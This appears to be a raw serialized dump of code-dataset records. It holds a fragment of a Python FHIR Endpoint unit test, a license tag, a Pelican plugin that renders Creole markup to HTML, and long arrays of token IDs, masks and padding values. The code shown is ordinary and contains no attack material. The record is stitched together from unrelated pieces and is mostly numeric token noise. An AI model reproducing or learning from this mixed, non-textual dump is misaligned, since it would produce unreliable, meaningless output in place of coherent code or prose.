self.assertEqual(inst.connectionType.system, "http://terminology.hl7.org/CodeSystem/endpoint-connection-type") self.assertEqual(inst.contact[0].system, "email") self.assertEqual(inst.contact[0].use, "work") self.assertEqual(inst.contact[0].value, "endpointmanager@example.org") self.assertEqual(inst.header[0], "bearer-code BASGS534s4") self.assertEqual(inst.id, "example") self.assertEqual(inst.identifier[0].system, "http://example.org/enpoint-identifier") self.assertEqual(inst.identifier[0].value, "epcp12") self.assertEqual(inst.meta.tag[0].code, "HTEST") self.assertEqual(inst.meta.tag[0].display, "test health data") self.assertEqual(inst.meta.tag[0].system, "http://terminology.hl7.org/CodeSystem/v3-ActReason") self.assertEqual(inst.name, "Health Intersections CarePlan Hub") self.assertEqual(inst.payloadMimeType[0], "application/fhir+xml") self.assertEqual(inst.payloadType[0].coding[0].code, "CarePlan") self.assertEqual(inst.payloadType[0].coding[0].system, "http://hl7.org/fhir/resource-types") self.assertEqual(inst.period.start.date, FHIRDate("2014-09-01").date) self.assertEqual(inst.period.start.as_json(), "2014-09-01") self.assertEqual(inst.status, "active") self.assertEqual(inst.text.status, "generated")
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 221, 17065, 687, 481, 40, 3927, 841, 14, 16, 14, 16, 13, 65, 2481, 825, 22, 1024, 17, 66, 641, 20312, 13, 1717, 13, 1780, 14, 199, 3, 221, 20312, 12, 2389, 2294, 5311, 6130, 473, 52, 14, 421, 199, 646, 747, 199, 646, 5890, 199, 646, 2882, 199, 646, 2022, 199, 504, 1275, 492, 6037, 199, 504, 1275, 12853, 723, 602, 492, 481, 40, 3927, 2506, 421, 199, 533, 9599, 1403, 2925, 8, 2796, 14, 1746, 304, 272, 347, 17321, 63, 504, 8, 277, 12, 1788, 304, 267, 666, 694, 275, 747, 14, 2314, 14, 362, 360, 32259, 3927, 63, 15505, 2864, 63, 6521, 1554, 3927, 358, 503, 2125, 267, 543, 5890, 14, 1490, 8, 736, 14, 515, 14, 904, 8, 18259, 12, 1788, 395, 283, 82, 297, 2644, 534, 1624, 13, 24, 358, 465, 2429, 26, 288, 8586, 275, 2022, 14, 912, 8, 2479, 9, 288, 291, 14, 629, 480, 11442, 401, 8586, 905, 1927, 804, 3135, 267, 372, 6037, 14, 11442, 8, 3596, 9, 2286, 347, 511, 11442, 17, 8, 277, 304, 267, 2727, 275, 291, 14, 3615, 18973, 63, 504, 480, 6520, 13, 2694, 13, 73, 344, 14, 1001, 531, 267, 291, 14, 10389, 8, 3615, 12, 298, 13757, 1172, 17544, 282, 9599, 1403, 1256, 531, 267, 291, 14, 5472, 11442, 17, 8, 3615, 9, 2728, 8586, 275, 2727, 14, 305, 63, 1001, 342, 267, 291, 14, 629, 480, 11442, 401, 8586, 905, 1927, 804, 3135, 267, 2727, 18, 275, 6037, 14, 11442, 8, 3596, 9, 267, 291, 14, 5472, 11442, 17, 8, 3615, 18, 9, 2286, 347, 11512, 11442, 17, 8, 277, 12, 2727, 304, 267, 291, 14, 629, 8, 3615, 14, 1562, 12, 298, 2859, 921, 387, 1259, 14, 526, 681, 6910, 14, 1308, 15, 41, 1645, 27736, 3491, 7687, 531, 267, 291, 14, 629, 8, 3615, 14, 2105, 804, 14, 600, 12, 298, 73, 426, 13, 73, 344, 531, 267, 291, 14, 629, 8, 3615, 14, 2105, 804, 14, 2253, 12, 298, 1014, 921, 2704, 7085, 14, 15544, 23, 14, 1308, 15, 3034, 3989, 15, 6520, 13, 2105, 13, 466, 531, 267, 291, 14, 629, 8, 3615, 14, 344, 12, 298, 2694, 13, 73, 344, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 600, 12, 298, 2148, 1719, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 2918, 12, 298, 396, 13822, 666, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 2253, 12, 298, 1014, 921, 2704, 7085, 14, 15544, 23, 14, 1308, 15, 3034, 3989, 15, 86, 19, 13, 19348, 16148, 531, 267, 291, 14, 629, 8, 3615, 14, 354, 12, 298, 48, 1348, 51, 28673, 681, 6910, 31049, 6047, 12175, 6037, 531, 267, 291, 14, 629, 8, 3615, 14, 4749, 804, 59, 16, 1055, 505, 12, 298, 36, 948, 7474, 473, 998, 531, 267, 291, 14, 629, 8, 3615, 14, 1205, 12, 298, 2682, 531, 267, 291, 14, 629, 8, 3615, 14, 505, 14, 1205, 12, 298, 10176, 531, 2286, 347, 511, 11442, 18, 8, 277, 304, 267, 2727, 275, 291, 14, 3615, 18973, 63, 504, 480, 6520, 13, 2694, 13, 2275, 14, 1001, 531, 267, 291, 14, 10389, 8, 3615, 12, 298, 13757, 1172, 17544, 282, 9599, 1403, 1256, 531, 267, 291, 14, 5472, 11442, 18, 8, 3615, 9, 2728, 8586, 275, 2727, 14, 305, 63, 1001, 342, 267, 291, 14, 629, 480, 11442, 401, 8586, 905, 1927, 804, 3135, 267, 2727, 18, 275, 6037, 14, 11442, 8, 3596, 9, 267, 291, 14, 5472, 11442, 18, 8, 3615, 18, 9, 2286, 347, 11512, 11442, 18, 8, 277, 12, 2727, 304, 267, 291, 14, 629, 8, 3615, 14, 1562, 12, 298, 26206, 26, 45, 2294, 568, 14, 4029, 41, 775, 15874, 33, 32, 2275, 1590, 22020, 14, 957, 531, 267, 291, 14, 629, 8, 3615, 14, 2105, 804, 14, 600, 12, 298, 2275, 13, 1715, 531, 267, 291, 14, 629, 8, 3615, 14, 344, 12, 298, 2275, 13, 6520, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 600, 12, 298, 2148, 1719, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 2918, 12, 298, 396, 13822, 666, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 2253, 12, 298, 1014, 921, 2704, 7085, 14, 15544, 23, 14, 1308, 15, 3034, 3989, 15, 86, 19, 13, 19348, 16148, 531, 267, 291, 14, 629, 8, 3615, 14, 354, 12, 298, 45, 2294, 568, 2389, 41, 775, 15874, 33, 531, 267, 291, 14, 629, 8, 3615, 14, 4749, 804, 59, 16, 1055, 1523, 59, 16, 1055, 600, 12, 298, 349, 26, 15544, 23, 13, 1308, 26, 3893, 23596, 26, 2055, 983, 13, 15774, 8173, 26, 17, 14, 17, 531, 267, 291, 14, 629, 8, 3615, 14, 4749, 804, 59, 16, 1055, 1523, 59, 16, 1055, 2253, 12, 298, 349, 26, 1170, 26, 17, 14, 19, 14, 22, 14, 17, 14, 20, 14, 17, 14, 1167, 11452, 14, 17, 14, 18, 14, 19, 531, 267, 291, 14, 629, 8, 3615, 14, 1205, 12, 298, 2682, 531, 267, 291, 14, 629, 8, 3615, 14, 505, 14, 1205, 12, 298, 10176, 531, 2286, 347, 511, 11442, 19, 8, 277, 304, 267, 2727, 275, 291, 14, 3615, 18973, 63, 504, 480, 6520, 13, 2694, 13, 87, 350, 1384, 14, 1001, 531, 267, 291, 14, 10389, 8, 3615, 12, 298, 13757, 1172, 17544, 282, 9599, 1403, 1256, 531, 267, 291, 14, 5472, 11442, 19, 8, 3615, 9, 2728, 8586, 275, 2727, 14, 305, 63, 1001, 342, 267, 291, 14, 629, 480, 11442, 401, 8586, 905, 1927, 804, 3135, 267, 2727, 18, 275, 6037, 14, 11442, 8, 3596, 9, 267, 291, 14, 5472, 11442, 19, 8, 3615, 18, 9, 2286, 347, 11512, 11442, 19, 8, 277, 12, 2727, 304, 267, 291, 14, 629, 8, 3615, 14, 1562, 12, 298, 2859, 921, 387, 1259, 14, 526, 681, 6910, 14, 1308, 15, 87, 5129, 13, 2393, 531, 267, 291, 14, 629, 8, 3615 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 221, 17065, 687, 481, 40, 3927, 841, 14, 16, 14, 16, 13, 65, 2481, 825, 22, 1024, 17, 66, 641, 20312, 13, 1717, 13, 1780, 14, 199, 3, 221, 20312, 12, 2389, 2294, 5311, 6130, 473, 52, 14, 421, 199, 646, 747, 199, 646, 5890, 199, 646, 2882, 199, 646, 2022, 199, 504, 1275, 492, 6037, 199, 504, 1275, 12853, 723, 602, 492, 481, 40, 3927, 2506, 421, 199, 533, 9599, 1403, 2925, 8, 2796, 14, 1746, 304, 272, 347, 17321, 63, 504, 8, 277, 12, 1788, 304, 267, 666, 694, 275, 747, 14, 2314, 14, 362, 360, 32259, 3927, 63, 15505, 2864, 63, 6521, 1554, 3927, 358, 503, 2125, 267, 543, 5890, 14, 1490, 8, 736, 14, 515, 14, 904, 8, 18259, 12, 1788, 395, 283, 82, 297, 2644, 534, 1624, 13, 24, 358, 465, 2429, 26, 288, 8586, 275, 2022, 14, 912, 8, 2479, 9, 288, 291, 14, 629, 480, 11442, 401, 8586, 905, 1927, 804, 3135, 267, 372, 6037, 14, 11442, 8, 3596, 9, 2286, 347, 511, 11442, 17, 8, 277, 304, 267, 2727, 275, 291, 14, 3615, 18973, 63, 504, 480, 6520, 13, 2694, 13, 73, 344, 14, 1001, 531, 267, 291, 14, 10389, 8, 3615, 12, 298, 13757, 1172, 17544, 282, 9599, 1403, 1256, 531, 267, 291, 14, 5472, 11442, 17, 8, 3615, 9, 2728, 8586, 275, 2727, 14, 305, 63, 1001, 342, 267, 291, 14, 629, 480, 11442, 401, 8586, 905, 1927, 804, 3135, 267, 2727, 18, 275, 6037, 14, 11442, 8, 3596, 9, 267, 291, 14, 5472, 11442, 17, 8, 3615, 18, 9, 2286, 347, 11512, 11442, 17, 8, 277, 12, 2727, 304, 267, 291, 14, 629, 8, 3615, 14, 1562, 12, 298, 2859, 921, 387, 1259, 14, 526, 681, 6910, 14, 1308, 15, 41, 1645, 27736, 3491, 7687, 531, 267, 291, 14, 629, 8, 3615, 14, 2105, 804, 14, 600, 12, 298, 73, 426, 13, 73, 344, 531, 267, 291, 14, 629, 8, 3615, 14, 2105, 804, 14, 2253, 12, 298, 1014, 921, 2704, 7085, 14, 15544, 23, 14, 1308, 15, 3034, 3989, 15, 6520, 13, 2105, 13, 466, 531, 267, 291, 14, 629, 8, 3615, 14, 344, 12, 298, 2694, 13, 73, 344, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 600, 12, 298, 2148, 1719, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 2918, 12, 298, 396, 13822, 666, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 2253, 12, 298, 1014, 921, 2704, 7085, 14, 15544, 23, 14, 1308, 15, 3034, 3989, 15, 86, 19, 13, 19348, 16148, 531, 267, 291, 14, 629, 8, 3615, 14, 354, 12, 298, 48, 1348, 51, 28673, 681, 6910, 31049, 6047, 12175, 6037, 531, 267, 291, 14, 629, 8, 3615, 14, 4749, 804, 59, 16, 1055, 505, 12, 298, 36, 948, 7474, 473, 998, 531, 267, 291, 14, 629, 8, 3615, 14, 1205, 12, 298, 2682, 531, 267, 291, 14, 629, 8, 3615, 14, 505, 14, 1205, 12, 298, 10176, 531, 2286, 347, 511, 11442, 18, 8, 277, 304, 267, 2727, 275, 291, 14, 3615, 18973, 63, 504, 480, 6520, 13, 2694, 13, 2275, 14, 1001, 531, 267, 291, 14, 10389, 8, 3615, 12, 298, 13757, 1172, 17544, 282, 9599, 1403, 1256, 531, 267, 291, 14, 5472, 11442, 18, 8, 3615, 9, 2728, 8586, 275, 2727, 14, 305, 63, 1001, 342, 267, 291, 14, 629, 480, 11442, 401, 8586, 905, 1927, 804, 3135, 267, 2727, 18, 275, 6037, 14, 11442, 8, 3596, 9, 267, 291, 14, 5472, 11442, 18, 8, 3615, 18, 9, 2286, 347, 11512, 11442, 18, 8, 277, 12, 2727, 304, 267, 291, 14, 629, 8, 3615, 14, 1562, 12, 298, 26206, 26, 45, 2294, 568, 14, 4029, 41, 775, 15874, 33, 32, 2275, 1590, 22020, 14, 957, 531, 267, 291, 14, 629, 8, 3615, 14, 2105, 804, 14, 600, 12, 298, 2275, 13, 1715, 531, 267, 291, 14, 629, 8, 3615, 14, 344, 12, 298, 2275, 13, 6520, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 600, 12, 298, 2148, 1719, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 2918, 12, 298, 396, 13822, 666, 531, 267, 291, 14, 629, 8, 3615, 14, 2024, 14, 1450, 59, 16, 1055, 2253, 12, 298, 1014, 921, 2704, 7085, 14, 15544, 23, 14, 1308, 15, 3034, 3989, 15, 86, 19, 13, 19348, 16148, 531, 267, 291, 14, 629, 8, 3615, 14, 354, 12, 298, 45, 2294, 568, 2389, 41, 775, 15874, 33, 531, 267, 291, 14, 629, 8, 3615, 14, 4749, 804, 59, 16, 1055, 1523, 59, 16, 1055, 600, 12, 298, 349, 26, 15544, 23, 13, 1308, 26, 3893, 23596, 26, 2055, 983, 13, 15774, 8173, 26, 17, 14, 17, 531, 267, 291, 14, 629, 8, 3615, 14, 4749, 804, 59, 16, 1055, 1523, 59, 16, 1055, 2253, 12, 298, 349, 26, 1170, 26, 17, 14, 19, 14, 22, 14, 17, 14, 20, 14, 17, 14, 1167, 11452, 14, 17, 14, 18, 14, 19, 531, 267, 291, 14, 629, 8, 3615, 14, 1205, 12, 298, 2682, 531, 267, 291, 14, 629, 8, 3615, 14, 505, 14, 1205, 12, 298, 10176, 531, 2286, 347, 511, 11442, 19, 8, 277, 304, 267, 2727, 275, 291, 14, 3615, 18973, 63, 504, 480, 6520, 13, 2694, 13, 87, 350, 1384, 14, 1001, 531, 267, 291, 14, 10389, 8, 3615, 12, 298, 13757, 1172, 17544, 282, 9599, 1403, 1256, 531, 267, 291, 14, 5472, 11442, 19, 8, 3615, 9, 2728, 8586, 275, 2727, 14, 305, 63, 1001, 342, 267, 291, 14, 629, 480, 11442, 401, 8586, 905, 1927, 804, 3135, 267, 2727, 18, 275, 6037, 14, 11442, 8, 3596, 9, 267, 291, 14, 5472, 11442, 19, 8, 3615, 18, 9, 2286, 347, 11512, 11442, 19, 8, 277, 12, 2727, 304, 267, 291, 14, 629, 8, 3615, 14, 1562, 12, 298, 2859, 921, 387, 1259, 14, 526, 681, 6910, 14, 1308, 15, 87, 5129, 13, 2393, 531, 267, 291, 14, 629, 8, 3615, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
lazycoder-ru/pelican-plugins
creole_reader/creole_reader.py
71
2939
#-*- conding: utf-8 -*- ''' Creole Reader ------------- This plugins allows you to write your posts using the wikicreole syntax. Give to these files the creole extension. For the syntax, look at: http://www.wikicreole.org/ ''' from pelican import readers from pelican import signals from pelican import settings from pelican.utils import pelican_open try: from creole import creole2html creole = True except ImportError: creole = False try: from pygments import lexers from pygments.formatters import HtmlFormatter from pygments import highlight PYGMENTS = True except: PYGMENTS = False class CreoleReader(readers.BaseReader): enabled = creole file_extensions = ['creole'] def __init__(self, settings): super(CreoleReader, self).__init__(settings) def _parse_header_macro(self, text): for line in text.split('\n'): name, value = line.split(':') name, value = name.strip(), value.strip() if name == 'title': self._metadata[name] = value else: self._metadata[name] = self.process_metadata(name, value) return u'' def _no_highlight(self, text): html = u'\n<pre><code>{}</code></pre>\n'.format(text) return html def _get_lexer(self, source_type, code): try: return lexers.get_lexer_by_name(source_type) except: return lexers.guess_lexer(code) def _get_formatter(self): formatter = HtmlFormatter(lineos = True, encoding='utf-8', style='colorful', outencoding='utf-8', cssclass='pygments') return formatter def _parse_code_macro(self, ext, text): if not PYGMENTS: return self._no_highlight(text) try: source_type = '' if '.' in ext: source_type = ext.strip().split('.')[1] else: source_type = ext.strip() except IndexError: source_type = '' lexer = self._get_lexer(source_type, text) formatter = self._get_formatter() try: return highlight(text, lexer, formatter).decode('utf-8') except: return self._no_highlight(text) # You need to have a read method, which takes a filename and returns # some content and the associated metadata. def read(self, source_path): """Parse content and metadata of creole files""" self._metadata = {} with pelican_open(source_path) as text: content = creole2html(text, macros={'header': self._parse_header_macro, 'code': self._parse_code_macro}) return content, self._metadata def add_reader(readers): readers.reader_classes['creole'] = CreoleReader def register(): signals.readers_init.connect(add_reader)
agpl-3.0
[ 3, 13, 1837, 406, 1098, 26, 2774, 13, 24, 1882, 199, 199, 2344, 199, 5482, 16721, 23099, 199, 8684, 199, 199, 2765, 8963, 6127, 1265, 370, 2218, 2195, 22238, 1808, 314, 336, 3258, 530, 13322, 274, 6302, 14, 25495, 370, 199, 29032, 1584, 314, 2837, 16721, 3329, 14, 199, 1858, 314, 6302, 12, 3648, 737, 26, 1455, 921, 1544, 14, 5319, 530, 13322, 274, 14, 1308, 15, 199, 2344, 199, 199, 504, 4837, 28091, 492, 7002, 83, 199, 504, 4837, 28091, 492, 10166, 199, 504, 4837, 28091, 492, 2202, 199, 199, 504, 4837, 28091, 14, 1208, 492, 4837, 28091, 63, 1490, 199, 199, 893, 26, 272, 687, 2837, 16721, 492, 2837, 16721, 18, 1360, 272, 2837, 16721, 275, 715, 199, 2590, 3545, 26, 272, 2837, 16721, 275, 756, 199, 199, 893, 26, 272, 687, 13277, 492, 7103, 1192, 272, 687, 13277, 14, 24270, 492, 20880, 7772, 272, 687, 13277, 492, 11850, 272, 7843, 39, 20967, 275, 715, 199, 2590, 26, 272, 7843, 39, 20967, 275, 756, 199, 199, 533, 9750, 16721, 5929, 8, 27056, 14, 1563, 5929, 304, 272, 5223, 275, 2837, 16721, 339, 570, 63, 5359, 275, 788, 1353, 16721, 418, 339, 347, 636, 826, 721, 277, 12, 2202, 304, 267, 1613, 8, 5482, 16721, 5929, 12, 291, 2843, 826, 721, 1751, 9, 339, 347, 485, 1122, 63, 1291, 63, 11300, 8, 277, 12, 1318, 304, 267, 367, 1004, 315, 1318, 14, 1294, 2258, 78, 735, 288, 536, 12, 574, 275, 1004, 14, 1294, 11633, 288, 536, 12, 574, 275, 536, 14, 1913, 1062, 574, 14, 1913, 342, 288, 340, 536, 508, 283, 1213, 356, 355, 291, 423, 2343, 59, 354, 61, 275, 574, 288, 587, 26, 355, 291, 423, 2343, 59, 354, 61, 275, 291, 14, 1412, 63, 2343, 8, 354, 12, 574, 9, 267, 372, 399, 891, 339, 347, 485, 889, 63, 14337, 8, 277, 12, 1318, 304, 267, 3517, 275, 399, 1154, 78, 28, 657, 2535, 600, 30, 2440, 1108, 600, 2957, 657, 3072, 78, 1370, 908, 8, 505, 9, 267, 372, 3517, 339, 347, 485, 362, 63, 11729, 8, 277, 12, 1350, 63, 466, 12, 1233, 304, 267, 862, 26, 288, 372, 7103, 1192, 14, 362, 63, 11729, 63, 991, 63, 354, 8, 1365, 63, 466, 9, 267, 871, 26, 288, 372, 7103, 1192, 14, 11636, 63, 11729, 8, 600, 9, 339, 347, 485, 362, 63, 8911, 8, 277, 304, 267, 9698, 275, 20880, 7772, 8, 604, 736, 275, 715, 12, 2644, 534, 1624, 13, 24, 297, 3303, 3449, 534, 2326, 1893, 297, 29934, 28139, 534, 1624, 13, 24, 297, 3303, 11431, 533, 534, 12173, 358, 267, 372, 9698, 339, 347, 485, 1122, 63, 600, 63, 11300, 8, 277, 12, 1599, 12, 1318, 304, 267, 340, 440, 7843, 39, 20967, 26, 288, 372, 291, 423, 889, 63, 14337, 8, 505, 9, 398, 862, 26, 288, 1350, 63, 466, 275, 2125, 288, 340, 7815, 315, 1599, 26, 355, 1350, 63, 466, 275, 1599, 14, 1913, 1252, 1294, 19237, 17, 61, 288, 587, 26, 355, 1350, 63, 466, 275, 1599, 14, 1913, 342, 267, 871, 7888, 26, 288, 1350, 63, 466, 275, 2125, 267, 10426, 275, 291, 423, 362, 63, 11729, 8, 1365, 63, 466, 12, 1318, 9, 267, 9698, 275, 291, 423, 362, 63, 8911, 342, 398, 862, 26, 288, 372, 11850, 8, 505, 12, 10426, 12, 9698, 680, 2708, 360, 1624, 13, 24, 358, 267, 871, 26, 288, 372, 291, 423, 889, 63, 14337, 8, 505, 9, 339, 327, 2047, 1929, 370, 1172, 282, 1586, 1083, 12, 1314, 6181, 282, 1788, 436, 2529, 272, 327, 2005, 1564, 436, 314, 4568, 3341, 14, 272, 347, 1586, 8, 277, 12, 1350, 63, 515, 304, 267, 408, 4003, 1564, 436, 3341, 402, 2837, 16721, 1584, 624, 398, 291, 423, 2343, 275, 1052, 267, 543, 4837, 28091, 63, 1490, 8, 1365, 63, 515, 9, 465, 1318, 26, 288, 1564, 275, 2837, 16721, 18, 1360, 8, 505, 12, 16954, 3713, 1291, 356, 291, 423, 1122, 63, 1291, 63, 11300, 12, 4490, 283, 600, 356, 291, 423, 1122, 63, 600, 63, 11300, 1552, 267, 372, 1564, 12, 291, 423, 2343, 199, 199, 318, 1050, 63, 5503, 8, 27056, 304, 272, 7002, 83, 14, 5503, 63, 2888, 459, 1353, 16721, 418, 275, 9750, 16721, 5929, 199, 199, 318, 2274, 837, 272, 10166, 14, 27056, 63, 826, 14, 2242, 8, 525, 63, 5503, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 13, 1837, 406, 1098, 26, 2774, 13, 24, 1882, 199, 199, 2344, 199, 5482, 16721, 23099, 199, 8684, 199, 199, 2765, 8963, 6127, 1265, 370, 2218, 2195, 22238, 1808, 314, 336, 3258, 530, 13322, 274, 6302, 14, 25495, 370, 199, 29032, 1584, 314, 2837, 16721, 3329, 14, 199, 1858, 314, 6302, 12, 3648, 737, 26, 1455, 921, 1544, 14, 5319, 530, 13322, 274, 14, 1308, 15, 199, 2344, 199, 199, 504, 4837, 28091, 492, 7002, 83, 199, 504, 4837, 28091, 492, 10166, 199, 504, 4837, 28091, 492, 2202, 199, 199, 504, 4837, 28091, 14, 1208, 492, 4837, 28091, 63, 1490, 199, 199, 893, 26, 272, 687, 2837, 16721, 492, 2837, 16721, 18, 1360, 272, 2837, 16721, 275, 715, 199, 2590, 3545, 26, 272, 2837, 16721, 275, 756, 199, 199, 893, 26, 272, 687, 13277, 492, 7103, 1192, 272, 687, 13277, 14, 24270, 492, 20880, 7772, 272, 687, 13277, 492, 11850, 272, 7843, 39, 20967, 275, 715, 199, 2590, 26, 272, 7843, 39, 20967, 275, 756, 199, 199, 533, 9750, 16721, 5929, 8, 27056, 14, 1563, 5929, 304, 272, 5223, 275, 2837, 16721, 339, 570, 63, 5359, 275, 788, 1353, 16721, 418, 339, 347, 636, 826, 721, 277, 12, 2202, 304, 267, 1613, 8, 5482, 16721, 5929, 12, 291, 2843, 826, 721, 1751, 9, 339, 347, 485, 1122, 63, 1291, 63, 11300, 8, 277, 12, 1318, 304, 267, 367, 1004, 315, 1318, 14, 1294, 2258, 78, 735, 288, 536, 12, 574, 275, 1004, 14, 1294, 11633, 288, 536, 12, 574, 275, 536, 14, 1913, 1062, 574, 14, 1913, 342, 288, 340, 536, 508, 283, 1213, 356, 355, 291, 423, 2343, 59, 354, 61, 275, 574, 288, 587, 26, 355, 291, 423, 2343, 59, 354, 61, 275, 291, 14, 1412, 63, 2343, 8, 354, 12, 574, 9, 267, 372, 399, 891, 339, 347, 485, 889, 63, 14337, 8, 277, 12, 1318, 304, 267, 3517, 275, 399, 1154, 78, 28, 657, 2535, 600, 30, 2440, 1108, 600, 2957, 657, 3072, 78, 1370, 908, 8, 505, 9, 267, 372, 3517, 339, 347, 485, 362, 63, 11729, 8, 277, 12, 1350, 63, 466, 12, 1233, 304, 267, 862, 26, 288, 372, 7103, 1192, 14, 362, 63, 11729, 63, 991, 63, 354, 8, 1365, 63, 466, 9, 267, 871, 26, 288, 372, 7103, 1192, 14, 11636, 63, 11729, 8, 600, 9, 339, 347, 485, 362, 63, 8911, 8, 277, 304, 267, 9698, 275, 20880, 7772, 8, 604, 736, 275, 715, 12, 2644, 534, 1624, 13, 24, 297, 3303, 3449, 534, 2326, 1893, 297, 29934, 28139, 534, 1624, 13, 24, 297, 3303, 11431, 533, 534, 12173, 358, 267, 372, 9698, 339, 347, 485, 1122, 63, 600, 63, 11300, 8, 277, 12, 1599, 12, 1318, 304, 267, 340, 440, 7843, 39, 20967, 26, 288, 372, 291, 423, 889, 63, 14337, 8, 505, 9, 398, 862, 26, 288, 1350, 63, 466, 275, 2125, 288, 340, 7815, 315, 1599, 26, 355, 1350, 63, 466, 275, 1599, 14, 1913, 1252, 1294, 19237, 17, 61, 288, 587, 26, 355, 1350, 63, 466, 275, 1599, 14, 1913, 342, 267, 871, 7888, 26, 288, 1350, 63, 466, 275, 2125, 267, 10426, 275, 291, 423, 362, 63, 11729, 8, 1365, 63, 466, 12, 1318, 9, 267, 9698, 275, 291, 423, 362, 63, 8911, 342, 398, 862, 26, 288, 372, 11850, 8, 505, 12, 10426, 12, 9698, 680, 2708, 360, 1624, 13, 24, 358, 267, 871, 26, 288, 372, 291, 423, 889, 63, 14337, 8, 505, 9, 339, 327, 2047, 1929, 370, 1172, 282, 1586, 1083, 12, 1314, 6181, 282, 1788, 436, 2529, 272, 327, 2005, 1564, 436, 314, 4568, 3341, 14, 272, 347, 1586, 8, 277, 12, 1350, 63, 515, 304, 267, 408, 4003, 1564, 436, 3341, 402, 2837, 16721, 1584, 624, 